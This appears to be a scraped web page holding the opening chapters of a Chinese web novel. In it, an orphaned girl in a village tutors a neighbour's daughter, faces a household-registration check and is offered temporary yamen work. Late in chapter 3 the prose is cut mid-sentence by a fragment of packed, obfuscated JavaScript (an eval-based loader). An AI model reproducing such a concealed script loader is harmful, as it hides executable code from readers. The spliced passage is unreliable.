《我娘是恶毒女配,但躺赢了》 1. 求人 三月,阳气舒缓,春日迟迟。 又到了溪头乡还香火的时候,乡下头屯落不少,顺着溪头到溪尾,能够数上七八个,出了名的便是三洞村,更是应了三数,每每在三春之月,迎三神妃演驾,炮响开道,绕着村子足足走上一圈,再是一夜傩戏,设宴饮酒,方圆十里的香客纷纷赶来参会,热闹非凡,算是除了年关,村里最大的日子。 天才蒙蒙亮,晨雾还缠在山腰上,三洞村笼在一片青灰里。 吴三婶眯着眼睛,身旁的吴老三已经摸索着起了身,窸窸窣窣地套上短褐。昨儿个族老点了人,都是些青壮汉子,忙着去张罗还香火这事。吴老三去灶上锅里摸了两窝头,几口下去,又拿了块蒸薯,外头就来了声。 “老三!” “诶,来了。”吴老三赶紧应了声,三两步出了家。 没听见声响了,吴三婶也没了睡意。她翻了个身,又躺了片刻,到底还是起来。先披了件半旧的褂子,趿拉着鞋出了卧房,去院子里看了眼鸡窝,伸手一摸,空的,没落蛋。她又转身去了西边屋。 他们家就两间屋,西边那间给闺女住,他们住的那间还连着灶房。 却见吴晓慧也起了身,正站在床边,低着头抚着身上的新衣裳,脸颊红扑扑的——那是前些时候吴三婶特地去县里扯的布,靛蓝底子印着浅白小花,裁了件时兴的襦裙,今儿个头一回上身。 “娘……”吴晓慧听见动静,抬起头来,眉眼间带着羞怯,又有几分掩不住的欢喜。 果然人美还是看衣裳。 吴三婶瞧着闺女白里透红的模样,心里头那个满意,跟喝了蜜水似的,又透着几分得意。不是她王婆卖瓜,属实是闺女生得好,十五岁的模样俏,眉眼随了她爹,浓眉大眼,可那唇那小下巴,又是照着她的模子刻的,白白净净,在这村里也是拔尖的。 昨个儿王媒婆来说的亲事,她当然不乐意。 那姚行说到底,不也是要靠那两片地吗?说是家里殷实,可谁知道是不是吹的?就算真殷实,家里怎么就一头耕牛?她闺女这模样这品性,嫁到镇上都是屈才,凭甚要许给那样的人家?她心里头跟明镜似的——这回的还香火,就是顶好的机会。三神娘娘面前扮神妃的闺女,往后说亲,那能一样吗?镇上那些殷实人家,甚至县里的,还不抢着要? 想到这儿,她脸上笑意更盛,催促吴晓慧:“赶紧把衣裳换下来,仔细别弄脏了。去抹把脸,过来吃饭。” “诶。”吴晓慧细声应了,小心翼翼地把新衣裳脱下,叠好放在床头,这才出去舀水洗脸。 母女二人就着灶上剩的一个窝头,还有两碗稀粥吃了。吴三婶从柜子里拿出早就备好的挎篮,上头盖了块靛蓝粗布,里头沉甸甸的,她掂了掂,又揭开布看了一眼——十颗鸡蛋,用谷糠垫得严严实实,一截细棉布,靛青色的,和她给吴晓慧裁新衣的料子一起买的,是预备着求人用的。 都齐整得很。 她盖好布,挎上篮子,带着吴晓慧出了门。 晨雾还没散尽,田埂上的露水打湿了鞋面。穿过一片菜地,两旁的豆角秧子爬满了架,叶子上挂着露珠,晶亮亮的。吴三婶没在自家地头停下,反倒继续往前走,绕着田埂拐了几道弯。远处传来几声狗吠,有早起的人家已经冒起了炊烟,歪歪斜斜地升上去,混在雾里。 隐隐瞧见前头的房屋露了角,是座独门独户的小院,背靠着一片竹林,离最近的邻舍也有百十步远。 吴三婶又不放心地跟自家闺女叮嘱一遍:“记住,待会儿听我说,别多嘴。” “我晓得了。”吴晓慧低声道,手指绞着衣角。 隐隐瞧见前头的房屋露了角,是座独门独户的小院,背靠着一片竹林,离最近的邻舍也有百十步远。 两人沿着田埂又走了一程,离那小院越来越近。竹林就在眼前了,青幽幽的,风吹过,竹叶沙沙响。绕过竹林边上那棵老槐树,就能看见院门。 吴三婶正要拐过去,却猛地停住脚步。 她拉了吴晓慧一把,两人闪到老槐树后头。吴晓慧吓了一跳,正要问,吴三婶竖起食指压在嘴边,往前面努了努嘴。 吴晓慧顺着她的目光看过去,心口猛地一紧。 秦家院子外头,篱笆墙边上,站着个人。 是个男人,看不清脸,只瞧见个背影——穿着灰扑扑的短褐,躬着腰,正往院子里头张望。那模样鬼鬼祟祟的,像条偷食的野狗,扒着篱笆往里瞧,脑袋都快伸进去了。 吴三婶心里头咯噔一下,一股火气蹭地冒上来。 这大清早的,天刚亮,一个男人家,跑到人家小娘子院外头偷瞧,打的什么主意,还用想吗?秦三娘坟头上的土还没干透呢,这些人就按捺不住了? 她正要出声呵斥,那男人却像听见了什么动静,猛地转过头来。 隔着几十步远,吴三婶看清了那张脸——三角眼,塌鼻梁,嘴角往下耷拉着,约莫三十来岁的年纪,瞧着面生,不是本村人。那人也看见了她们,愣了一愣,随即缩回脖子,猫着腰,一溜烟钻进竹林里,不见了踪影。 竹叶哗啦啦响了一阵,随即又归于寂静。 “娘……”吴晓慧脸色发白,抓着吴三婶的袖子,声音都在抖,“那是谁?” 吴三婶没答话,只沉着脸盯着那片竹林看了半晌,才拉着吴晓慧从树后出来。她心里头像吞了只蝇子,恶心得不行,可又没法说什么——人跑了,追不上,喊也没用。 她只得压着那股火气,领着吴晓慧往院子走。 到了那小院跟前,篱笆门栓着。吴三婶个子矮,踮起脚往里瞧了瞧,院里有棵树,冒了点芽,树下扫得干干净净。她扬声道:“秦丫头!” 喊了一声,里头门开了,出来个年轻小娘子。 她头发随意挽了个纂,插了根素木簪,瞧着十三四岁模样。身上穿着素色襦裙,腰间系了根白布带——那是热孝在身的打扮。脸色比寻常白些,身形纤细窈窕,瞧着比寻常村里姑娘单薄几分,弱得叫人下意识放轻了声气。 不过她眉眼生得极好,眼波清浅如一汪秋水,鼻梁秀挺,唇线柔和,一静一动都带着几分怯生生的温婉。右眉下一颗小小的痣,淡如墨点,衬得她眉目含韵——像山涧里的野白芷,静静长着,偏让人移不开眼。 她站在门槛边,微怔了一下,旋即快步过来开了篱笆门:“三婶?婶子快进来。” 声音轻,却又软糯。 吴三婶应着,携吴晓慧进了院子。秦式微引着她们往屋里去,道:“我去倒碗水来。” 趁着这功夫,吴三婶不动声色地打量着堂屋。 比起自家那间矮檐土屋,这屋子宽敞不少,虽是泥墙,却抹得平整光溜。靠墙摆着一张旧木桌,擦得干干净净,窗下砌了灶台,几件粗瓷碗盏码得齐整。最显眼的是东墙下那张条案,上头供着一方新牌位,黑底白字,写得清楚——慈母秦令华之位。 牌位前摆着个粗瓷香炉,里头插着几根燃尽的香签,炉边搁了碟供果,是几个野柿子,饱满的很。 吴三婶大字不识,趁秦式微还没进来的功夫,悄摸问吴晓慧那字怎么念。 “秦令华。”吴晓慧仔细认道。 吴三婶心里默念了一遍。 她还是头一回晓得秦三娘的闺名。 想起往事,她不由得暗暗叹息。 十多年前,秦三娘孤身来了三洞村,也不知打哪儿来的,没成想居然操起了杀猪的营生——一个女人家,杀猪,那得多大的胆?因着容貌太过出挑,村里那些闲汉便没个消停,嘴上不干不净的,还有人半夜爬她家墙头。结果秦三娘提了把杀猪刀,削了那些人的手指头——是真削,血淋淋的,指头都飞到墙根底下了,吓得那几个混账连滚带爬。 从此泼辣的名号就传开了,倒没人敢再招惹她 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半个月前走的,一场风寒,拖了半个月,到底没撑住。留下这闺女一个人,才十四岁,就得撑着这个家。 吴三婶想起秦三娘临死前那几日,她去看过一回,人瘦得脱了形,可眼神还是亮的。 如今站在这堂屋里,望着那方新牌位,吴三婶心里头酸酸的。 “三婶。”秦式微端着两碗水进来,放在桌上,“喝口水润润。” 吴三婶回过神来,接过碗喝了一口,这才看着她。 秦式微在对面坐下,敏锐地察觉到吴三婶有话说,带着笑问道:“三婶这趟来,可是有什么事?” 这双眼生得极好,清凌凌的,像是山泉水洗过似的,只是一场丧事忙下来,眼底还有些青。 吴三婶见状心里头又叹了一声——难怪村里那些年轻娃子,见了秦式微都走不动道。就说她闺女晓慧,在村里也算出挑的了,可跟秦式微一比,到底差了一层,那眉眼那气韵,也不知道随了谁。 不过想到秦三娘的容貌,吴三婶心里头的酸味又压下去了。女肖母,母女二人都是个好容貌,这也是没法子的事。她今儿个来,不是比这个的。 她把碗往桌上一放,伸手把自家闺女往前推了推。吴晓慧红着脸,垂着头,手指揪着衣摆,羞得不敢抬眼。 “是……”吴三婶不自然摸了摸挎篮上盖着的布,斟酌着开口,“还香火这事,你晓得的吧?” 秦式微隐约猜到了些:“是。今年不是要换人吗?” “是。”她说的直接,吴三婶叹了口气,后面的话也好开口了。 说起来这事还是跟秦式微有关。 年年扮三神妃,都是从村里选容色好、品行佳的女子。凡是演过三神妃的,亲事都要好说上不少——这就是吴三婶的心思。她想给吴晓慧说一门好亲事,最好是镇上开杂货铺的刘家那样的人家,再不济也得是邻村有二十亩水田的张家。 三神妃选人,自三年前起便由秦式微担着——毕竟这丫头的容貌是出挑极了的,便是吴三婶再得意,也不敢说自家闺女容貌能数一数二。年年扮三神妃,秦式微穿了那身衣裳往香案前一站,便是别的州来看热闹的人都要愣一愣,说这怕不是三神娘娘真身下凡。 按理说今年也没旁人什么事。可偏偏秦三娘半月前走了,秦式微身上担着孝,便不好再扮三神妃。族老们商议了一回,说今年得重新选人。 天下白掉谷子,吴三婶哪有不捡的道理? 她索性把话挑明了:“丫头,婶子也不瞒你。你娘走的时候,婶子帮衬着料理后事,那是我该做的,当年你娘生你的时候,也是我接的生,咱们两家算是老交情。今儿个来求你这个事,是有些唐突,可婶子也是没法子……” 她说着,把挎篮上的布掀开,露出里头的鸡蛋和布料:“这点东西,是婶子的一点心意,你瞅瞅还看得过眼不……” 2. 户籍 “婶子。”秦式微等她说完才开口,声音柔柔的,“婶子的意思我明白。按理说婶子开了口,我该应承才是。可这事……” 她顿了顿,抬眼看向吴三婶,有些为难。 “婶子也知道,选人这事如今是四老叔公掌着。他因着往日的事,对我有些微词。我若去开口,只怕弄巧成拙,反倒连累了晓慧姐。” 吴三婶一听,脸上的笑就垮了半截,像是被霜打了的瓜秧子,蔫得透透的。 这事她哪能不知道。 去年,四叔公的小孙子要定媳妇儿了,那后生叫四狗子,十八九岁的年纪,长得倒是周周正正,可那双眼睛不老实,专往人家小娘子身上瞟。偏就瞧上了秦式微,托自家娘去说亲,秦三娘不同意,直接将人赶了出去。 那时节正是六月里,太阳毒辣辣的,她记得清楚——那天她正从地里回来,远远就看见四叔公家的婆娘气冲冲地从秦家出来,嘴里骂骂咧咧的,说什么“贱皮子”“外乡人还挑三拣四”。 四老叔公为人还算公道,在村里当了三十年族老,从没偏过谁。可老人家就是爱幺孙,那是心头肉、掌中宝,哪舍得说半句重话?怪不得自家人,便将错推给秦家母女,说是她们不识抬举,伤了自家的脸面。 那时她还去劝了几句,想着大家都是女人,谁不知道谁的日子艰难?谁料秦三娘把杀猪刀往案板上一砸,刀刃嵌进案面里,立得直直的,语气倒好了些,说话却不饶人: “不仅是个歪瓜样貌,前几日还想去摸小娘子们的手,被人家爹打了一顿,讨打!该打!” 吴三婶记得自己当时还替四狗子辩解了几句:“还小,也是宠惯了……” 秦三娘瞥她一眼:“他比你家闺女还要大上四岁。” “……”她是真没话说了。吴晓慧那年十四,四狗子十八,确实也说不上小。 除却四狗子这人,不少人也来提过亲,但秦三娘嘴巴都没软和一分,吴三婶虽然也是个疼闺女的,可也不认同——秦三娘这眼光,也是挑极了。这泥腿子看不上,那庄稼汉也看不上,莫不是要找京城的贵人?可京城的贵人,哪会到这山沟沟里来? 她暗自摇头,秦三娘似乎看出她的想法,也没再说了,只让她拿了半斤猪肉回家。那半斤肉,肥瘦相间,切得齐齐整整,用荷叶包着,她拎回去吃了两顿。 …… “再者……”秦式微这边语气低了些,“我毕竟是外乡人,身上又有孝,也不好四处走动,去族老跟前说这些。” 吴三婶的心彻底凉了,像一盆冷水从头浇到脚。她脸上的失望遮都遮不住,嘴角往下耷拉着。她张了张嘴,想说什么,又觉得说什么都没用,只能叹了口气。 旁边的吴晓慧一直低着头,想说什么,但还是记着自家娘的话,没开口。 “婶子,你且等一等。”秦式微把吴三婶的脸色看得分明,像想起什么,突然起了身,往里屋走去。 她的动作很轻,撩起门帘时几乎没有发出声响,只留下一道细细的光影,在门槛上晃了晃,随即又合上了。 吴三婶心里还吊着,七上八下的,像悬在半空的秤砣。旁边的吴晓慧偷偷抬眼看了看那帘子,又飞快地垂下眼去。 不多时,帘子一动,秦式微从里头出来,怀里抱着个包袱。 那包袱是用一块旧蓝布包着的,四角系得整整齐齐,看得出是用了心的。她把包袱放在桌上,解开,里头是几件物什—— 一条青灰色的素缎披帛,料子不算顶好,却织得细密,上头绣着隐隐的云纹,针脚细密匀称,一看就是下了功夫的,几支铜钗,做工精巧,钗头錾成小小的梅花模样,她在镇上见过,这样的钗要十五枚铜钱一支,她当时看了半天,没舍得买;还有一本薄薄的册子,纸页泛黄,边角有些卷了,却保存得完好,封面上没写字。 秦式微指着这些东西,笑着解释道:“这些都是我往年扮三神妃时自己做的物件儿,算不得什么好东西,就是费了些功夫。婶子,我虽说不上去族老跟前递话,但三神妃的来历、礼仪、唱词,我都还记得一些。若是晓慧姐不嫌弃,我可以把这些教给她。今年选人,约摸都要问一问的。” 吴三婶听了前半句,心里还凉着,像块冰疙瘩堵在那儿。待听到后半句,那冰疙瘩渐渐化了,水从眼睛里头亮出来。 “这……这怎么好意思?”她搓着手,粗糙的掌心磨出沙沙的声响,有些局促地往前探了探身子,“你帮这么大的忙,婶子这点东西……” 她指了指桌上那个挎篮,里头是十颗鸡蛋和一截细棉布,如今跟秦式微拿出来的东西一比,简直寒酸得拿不出手。 “婶子别这么说。”秦式微笑了笑,那笑容浅浅的,让人看着舒坦,“当年我娘走的时候,婶子忙前忙后,我都记着呢。这点小事,应当的。” 吴三婶眼眶有些热,她连连点头,声音都有点发颤:“好丫头,好丫头……” 当下便说定,往后几日,吴晓慧日日来秦式微这里学规矩。 从吴家到秦家,要穿过一片菜地,绕过几道田埂,走上小半个时辰。吴晓慧每日天不亮就起来,把家里的事做完,吃了早饭就往这边赶。 头一日,秦式微先教三神妃的来历。 两人坐在院子里那棵石榴树下,秦式微搬了两张小凳,又端出一碟自己晒的柿子干,给吴晓慧当零嘴。 “三神娘娘本是山中采药女,有一年山里发疫病,死了好多人。娘娘攀悬崖、入深谷,手脚都磨破了,衣裳也挂烂了,采得草药,熬成汤药,救了全村人的性命。后来功德圆满,白日飞升,村里人便立了庙,年年还香火,求的是祛病消灾、五谷丰登。” 她说话声音不高不低,像溪水潺潺流过石头,条理分明,一字一句都说得清清楚楚。吴晓慧听得认真,嘴里念念有词,生怕忘了。 秦式微又取出那本册子,翻开,上头用工整的小楷写着唱词和礼仪规程。她一句一句教吴晓慧念,念熟了,又教她走步、转身、行礼的规矩。 “三神娘娘当年是采药女,所以步伐要轻,要稳,像走山路那样,一步一步踩实了,又不能太重。手要这样抬……”她示范着站起来,手腕微转,指尖轻轻一挑,那动作轻柔得像风吹柳絮,却又透着几分庄重,说不出的好看。 吴晓慧跟着学,却总觉得自己手脚笨拙,像刚学走路的孩子,怎么都不对劲。 “不着急。”秦式微温声道,伸手扶了扶她的手腕,“慢慢来,身子放松些,别绷着。” 吴晓慧点点头,又试了一遍,这回好了一些。 吴三婶在一旁看着,心里又是感激又是愧疚。这丫头教得这样尽心,比自己想的还要细致,自己那点鸡蛋布料算什么?人家拿出的是真东西。 第二日、第三日,吴晓慧日日都来。有时是学唱词,有时是练走步,有时是记那些繁复的规矩——什么时候该跪,什么时候该拜,什么时候该念什么词,一样都不能错。秦式微从不嫌烦,教得细致,有时见吴晓慧学得累了,便停下来,给她倒碗水,或是拿些自己做的吃食。 吴晓慧学得也认真,回去还在屋里偷偷练,对着镜子一遍一遍地走,一遍一遍地念。吴三婶夜里起来,还听见她在屋里念念有词,心里头又是欣慰又是心疼。 她看着闺女一天天长进,心里那杆秤越发往秦式微那边偏——这闺女,可惜了。 第三日晌午,太阳升到头顶,照得院子里亮堂堂的。吴晓慧学完了今日的功课,把那几段唱词从头到尾背了一遍,竟一字不差。秦式微点点头,眼里有几分赞许:“晓慧姐记性好 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“什么话?”秦式微侧头,那双眼睛清清亮亮的,吴晓慧瞧着莫名红了脸。 “我娘说,等还香火之后,里正要例行来查户籍,让你当心些。” 秦式微听了,神色不变,只点了点头,语气依旧温温软软的,像什么事都没发生似的:“好,我晓得了。替我多谢婶子。” 吴晓慧点点头,转身往吴三婶那边跑去。跑了几步,又回头看了一眼——秦式微还站在篱笆门边,风吹起她的衣角,那素色的襦裙轻轻飘动,衬得她越发单薄,像一株长在风口的小草,随时都会被吹折似的。 那边厢,吴三婶接过闺女手里的篮子,掀开布一看,愣住了。 里头是满满一篮子东西——十几个白面馒头,一个个宣腾腾的,圆鼓鼓的,一看就是新蒸的;还有半条腌肉,肥瘦相间,用盐和花椒腌得透透的,切成齐整的条,一包红糖,用油纸包着,解开一角,露出里头红褐色的糖粒,在太阳底下闪着光。 “这……”吴三婶张了张嘴,说不出话来。 “是在我说话之前给的。”吴晓慧道,她亲眼看见的,秦式微提着篮子出来时,还没听她说那句话。 吴三婶捧着那篮子,沉甸甸的,心里也沉甸甸的,像压了块石头。她叹了口气,那口气叹得又长又重:“哎,是个好闺女。只可惜……” 吴晓慧这回听懂了前半句——秦妹妹确实好,那些东西比自家送的贵重多了。她学了三日,反倒收了人家的礼,这份情,往后怎么还? 可那句“可惜”,她还是没听懂。 “娘,可惜什么?” 吴三婶摇摇头,没答话。 可惜那样通透的一个丫头,偏偏生在那样的境地里。 可惜她娘走得早,留下她一个人,在这村里无依无靠。秦三娘在时,是立了女户的,官府有册子,每年交税纳粮,谁也不低谁一头。可秦三娘一走,那女户便没了主儿。秦式微才十四岁,还没及笄,连她娘那样的女户都做不了。按着规矩,女子十五及笄才能自立门户,她还有一年。这一年里,她算什么?依附谁? 里正来查户籍——查的就是这个。 查出来,要么有亲族投靠,要么就得寻个人家嫁了。若是两样都做不到…… 吴三婶不敢往下想。她只记得,村里上一个这样的小娘子,后来去了哪里。那都是十年前的事了,那时她才嫁到三洞村不久,亲眼看着那个小娘子被里正带走,说是送去县里,发落到什么村配人去了。后来再也没听说过她的消息。 “走吧。”吴三婶挎起篮子,拉着吴晓慧往家走,步子比来时快了些,“回去给你爹做饭。” 3. 差事 送走吴家母女,秦式微转身回了屋。 步子不紧不慢,进了堂屋,先往东墙那方灵位前站了站。她蹲下身,往灵位下的柜里探手掏了掏。 再收回手时,指间多了个小本本。 书皮素净,没写什么字。她指尖一挑,翻开,里头是密密麻麻的小楷——字倒是挺好看,就是内容琐碎得很。 “去年十月初七,陈头媳妇送荷叶,说可以包猪肉。” 底下用小字注了一笔:腊月十二,还了半扇排骨,多二两。 再翻一页。 “腊月廿三,孙婆子嘀咕,说杀猪时没给她留板油。” 注:腊月廿四,送了板油去,她收了,嘴还碎。记着。 又翻。 “今年正月初九,吴老四在祠堂门口啐了一口,说闺女没规矩。” 注:他喝醉了,不跟他计较。但记着。 诸如此类,小恩小仇,都是她娘记的,一桩桩一件件,清清楚楚。 好在大多数都做了标注——已经报了的意思。 秦式微从袖中摸出自制的炭笔,就着门缝里透进来的光,在吴三婶名字后头端端正正打了个勾。 这一笔,算是最后一笔了。 写完,她拎起小册晃了晃,对着那方灵位,叹了口气:“……总算还完了。” 秦式微把小册收好,往柜里放回原处,又看了那灵位一眼——黑底白字,慈母秦令华之位。 这才转身去灶上做早饭。 灶膛里添了把柴,锅里咕嘟咕嘟煮着粥。她一边看着火,一边想着吴三婶方才的话。 里正要来查户籍。 吴三婶和吴老四家走得近,消息该是准的。按例,里正三年一查户籍,不过是走个过场,核对人丁、登记生老病死、嫁娶迁徙,应付朝廷的人头税罢了。可对她来说,这过场却有些麻烦。 她娘搬来三洞村那年,正逢新帝践祚,先朝留下的户籍乱得很,隐漏的人户不知凡几。也不知她娘从哪儿弄来的门路,竟办下个女户的文书——那东西金贵,女子为户主,可承田产、纳税赋、立门户。正因有这个,她娘才能正正经经担了屠匠的营生,杀猪卖肉,养活母女二人。 可本朝律例,女户不能继承。 母死,女未嫁,田产收归官中,再行分配。她如今还未及笄,一无爹娘,二无宗族,三无依靠,又是外乡人。里正这一查,她便成了那户籍册上的孤零零一笔,要怎么处置,全凭里正一句话。 更何况,还有那桩事—— 本朝对于女子的婚配,是有章程的。女子年满二十,若仍未嫁人,便要由官府安排婚配。 她今年十四。还有六年。 六年听着长,可在这村子里,一日日过着,六年也不过是眨眼的事。 “你记着,”她娘那时候靠在床头,病得只剩一把骨头,眼睛却还亮着,“到时候里正一来,户籍一查,你满二十,没爹没娘,正好由他们安排。配个鳏夫,或是哪家的瘸腿老光棍,都是有的。” 秦式微当时正给她喂药,听了这话,手都没抖一下。 “那我谢谢娘,提前给我提个醒。” “不用谢。”她娘扯了扯嘴角,那笑容带着病气,却还有几分年轻时的促狭,“法子也有——去京城。你外祖家,应当还有人活着。” 说到这儿,她娘眼里居然露出点幸灾乐祸的意思。 秦式微把药碗往前一送:“我不去。” 她娘瞅她,叹了口气,病容上带着真真切切的疑惑:“……怎么一点儿就不像我呢?难道我还真生出一朵真莲花?出淤泥而不染,宁直勿折?” 她嘀嘀咕咕,像是自言自语:“我年轻时候可不是这样的,我贪慕虚荣得很……” 秦式微面色古怪:“如您所说,您是被赶出京城的。就您做的那些事,但凡少做一件,我都还能厚着脸皮去攀亲。” 她娘:“……啧。”自个儿往枕头上一靠,望着帐子顶,转移话题:“还是人老了,记不住事。诶……” 秦式微把药碗又往前递了递。 她娘装没看见,自顾自道:“诶,我记起来了——你还没出世的时候,我还未离京那会儿,给你定了门亲事。那娃娃算起来就大你两岁,长得不错,相貌上勉强配得上你。” “您不是说我是遗腹子吗?离京前都不知道有我了。”秦式微是真疑惑。 那怎么会定下婚约? 自她有记忆起,先是想起自己赶上了穿越潮流,胎穿到这地儿。又时不时听她娘吹牛,都是少不更事时的荒唐事。可定亲这事,倒是头一回听说。 她娘也看着她,眼神明晃晃写着你怎么如此迂腐。 “那小郎君还是颇为抢手的,我当时想着得赶紧给我未来闺女定下。” “人家愿意?”开个空头支票,就骗人家的婚约? 她娘认真回忆,眼睛望着帐子顶,嘴角微微翘起,像是在想什么有趣的事:“没不愿意啊。我当时是一品夫人。” 秦式微沉默了片刻,仗势欺人居然说的如此合情合理吗? 一品夫人。她娘当时的夫君已经身居高位,外祖父家也很有权势——这些都是她零零碎碎从她娘嘴里拼出来的。 可最大问题也来了,那人不是她爹啊。 她听她娘断断续续说过一些——如何抢了姨母的未婚夫,如何大闹京城,如何瞧上她爹还有了她,如何最终被送到庄子上。一出出的,都是话本子上才有的热闹。 她娘说这些的时候,从来不避讳什么,也不觉得有什么不能说的。 秦式微当时想,她娘这心态,真是百折不挠。 拿的是恶毒女配的剧本,倒也真是演得轰轰烈烈。被赶出京城,发落到庄子上,她愣是发现自己有孕后就从庄子上跑出来,辗转几千里,躲到这山沟沟里,重起炉灶,杀猪卖肉,一个人把孩子拉扯大。 换了旁人,早就蔫了。她娘倒好,越活越精神。 思绪回笼,灶上的粥已经滚了。 秦式微添了把柴,把粥搅了搅,盛出一碗,就着咸菜吃了。吃完收拾干净,这才进屋取出个包袱,里头是这些时日做的几支珠钗——用料不算顶好,胜在心思巧,是她在现代当上班族时养成的习惯,闲了便做做手工,如今倒成了门吃饭的手艺。 她把包袱挎好,出了门。 日头已经升起来,照着田埂上的露水珠子,亮晶晶的。秦式微沿着田埂往村口走,路两边是刚插了秧的水田,嫩绿嫩绿的秧苗一行行排开,有早起的农人正弯着腰补苗。远处传来几声狗吠,接着是鸡叫,此起彼伏的。 有挑着担子的货郎从对面过来,吆喝着“针头线脑——胭脂水粉——”。田埂上几个浣衣的妇人端着木盆往河边走,边走边叽叽喳喳说着什么,大约是明日还香火的事。 秦式微与她们擦肩而过,有个婶子认出她来,笑着招呼:“秦丫头,往镇上去?” “诶。”她应了一声,步子没停。 村口老槐树下停着辆牛车,车把式正靠在车辕上打盹。秦式微上前叫醒他,给了两个铜板,便上了车。车上已坐了几个婆子,挎着篮子,大约是去镇上卖鸡蛋的。见她上来,都打量了几眼,有个嘴快的便问:“秦丫头,你娘过世也有些日子了,往后一个人怎么过活?” 秦式微笑了笑,温声道:“慢慢过呗。” 婆子们交换个眼神,也不好再问。牛车晃晃悠悠上了路,一路吱吱呀呀的,碾过土路,穿过田埂,往镇上去。 到了镇上,秦式微在街口下了车,熟门熟路拐进一条小巷。巷子不深,尽头是座青瓦小屋,门虚掩着。她没走前门,绕到后头,轻轻叩了两下。 里头很快有了动静,门拉开,探出一张年轻娘子的脸。 “哟,秦妹妹来了!”那娘子笑起来,一把拉她进去,“快进来,好些日子没见你了。” 这娘子姓韩,夫家姓周,是个走街串巷的货郎。她自己在家里开个小门路,替人代卖些簪环首饰,赚个中间的抽头。 秦式微随她进了屋,把包袱放在桌上,解开。韩娘子凑过来一看,眼睛便亮了:“哎哟,这几支做得可真好!这珠子配这银丝,又素净又雅致,比街上那些粗笨的好看多了。” 秦式微笑笑:“韩姐姐看着给就是了。” 韩娘子数了数,共是五支钗、三对耳坠、两枚戒指。她拨着算盘珠子噼里啪啦一阵,抬头道:“老规矩,卖出去你拿八分,我拿二分。这几件东西,我估摸着能卖个二两银子上下,你拿一两六。若有剩下的,下回再结。” 秦式微点点头,又坐着喝了碗茶,闲话几句。说着说着,她便似不经意地提起:“韩姐姐,我听说里正要查户籍了?” 韩娘子正收拾那些珠钗,闻言手顿了顿,叹口气:“可不是嘛。我当家的前几日还念叨呢,说这回查得严,上头催得紧,估摸着是为了收人头税。” 她压低声音:“你是不知道,今年年景不好,春上那场倒春寒,多少人家冻坏了秧苗。衙门里催税可不管这些,人头税按人头收,一口人多少钱,不管你是老是少,是男是女,只要在册子上就得交。这税那税压在老百姓头上,真是重山啊。” 话说到这儿,她又想起什么似的,叹了一声:“说起我那小姑子,前日又托人带话来,说庵里清苦,菜园子要自己种,她从小没干过这活计,手上都磨出茧子了。唉,也是没法子的事。” 秦式微端着碗,听着,没接话。 韩娘子的小姑子,她是知道的。韩娘子不是头一回说起这个人——嫁过两回,头一个丈夫得急病没了,第二个遇上劫道的丢了命。两回守寡,两回被婆家赶出门,村里那些闲话能淹死人。两个兄长心疼妹子,可也架不住人言可畏,最后凑了挂单费,送到镇外二十里的水月庵去了。 秦式微听韩娘子说过这些,一回,两回,三回。起初是抱怨命苦,后来是叹气流年,再后来便只是随口一提,像是说惯了。 “……她说庵里那些姑子倒还好,就是有个老尼姑规矩大,每日寅时就要起来做早课。”韩娘子絮叨着,“她哪起得来?在家时哪回不是睡到日上三竿?如今可好,人都困昏头,说比在家干活还累。” 韩娘子又叹口气道:“不过她说,比在家里时清净。没人嚼舌根,没人指指点点,姑子们各过各的,倒自在。就是……” 她顿了顿,压低声音:“就是庵里香火不旺,有时候得自己想法子。我那妹子会绣几朵花,托人带出来卖了换些油盐。可她那手艺,也就勉强糊口。” 说完家里这些闲事,韩娘子浑身松快了些,秦式微也起身告辞。 出了巷子,秦式微又往东街走了走,进了家书铺。 铺子里的小二认得她,见了便笑:“秦娘子来了?上回抄的书,先生看了说好,这是润笔。”说着递过来一个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦式微步子顿了顿,回头看了一眼,笑盈盈的,眉眼弯弯:“婶子们说得是,今年是晓慧姐姐,她比我合适。” 那几个婶子反倒有些讪讪的,干笑着应了两声,不敢再多话。 秦式微继续往前走,唇边的笑意淡淡的。 三神妃那差事,她当初去,一是因为有钱拿——虽然不多,好歹是进项;二是因为她娘强烈要求。她娘那时候靠在门框上,抱胸说:“去,怎么不去?一年才一回,多热闹的事,我闺女扮上,我可得好好看看。” 后来秦式微才明白,她娘就是纯想看热闹。 到篱笆外了。 秦式微推开院门,刚走进去,就听见后头有人唤她。 “秦家丫头。” 她转过身,就着暮色看清来人——是个老者,头发花白,背微微佝偻,拄着根拐杖站在篱笆外头。 是八老叔公。 秦式微心里微微一动,面上却不动声色,快步迎上去开了门:“老叔公,您怎么来了?快请进。” 又扶着八老叔公往里走,到了堂屋,点了油灯,又去灶上倒了碗温水来。 八老叔公接过碗,喝了一口,把碗放在桌上。他抬起头来,看着秦式微,目光里有些复杂。 “丫头,”他开口,声音苍老,却还清晰,“今儿个还香火,吴老三家的闺女顶上去了。”八老叔公顿了顿,“你扮了许多年,今年……” 他没往下说。 秦式微轻声安慰道:“老叔公,我身上有孝,原也是不能扮的。” 八老叔公看了她一眼,那目光里有些什么,像是叹息,又像是欣慰。他沉默了一会儿,才道:“你是个明白孩子。” 他又端起碗喝了一口水,放下,道:“今儿个我来,是有件事要跟你说。” 秦式微静静听着。 “郡上来了个官,”八老叔公道,“通判。听说还是从京师来的,到下头巡查。这几日要在县里落脚,衙门那边人手不够,想找几个临时帮衬的。” 他顿了顿,看着秦式微:“我寻思着,你一个人在家,也没个进项。这差事虽说是临时的,好歹能赚几个钱。你若是愿意,我就去跟四哥说一声,把你报上去。” 秦式微心里动了动。 通判。从京师来的。 她面上却还是那副温温软软的模样,只垂着眼,像是在思量。 “老叔公,”她轻声问,“这差事,是做什么的?” “也就是打打下手,”八老叔公道,“端茶递水,收拾收拾屋子。都是些轻省活计,累不着人。估摸着也就三五日的功夫,等那通判走了,也就结了。” 他看了秦式微一眼,又道:“工钱是衙门里出,一日五十文。吃住都在衙门里,不用自家开销。” 一日五十文。 秦式微在心里算了算,她卖珠钗,一支也就卖个三四十文,还得抽二分给韩姐姐。抄书更少,一本薄册子才几十个铜板。这差事做三五日,便能挣个二百来文,抵得上她小半个月的进项。 可这不是最要紧的。 最要紧的是,这是衙门里的差事。她若去了,这回查户籍查得这般仔细,怕也是因着这位京官——她人在衙门里,虽是临时的,好歹也能打探些风声,晓得个中究竟。 水月庵那边,是实在无路可走时的退路。若这回户籍的事能寻着个关窍,熬过去,明年她便及笄了,也能学她娘当年,搞个女户的文书,往后招个赘婿。 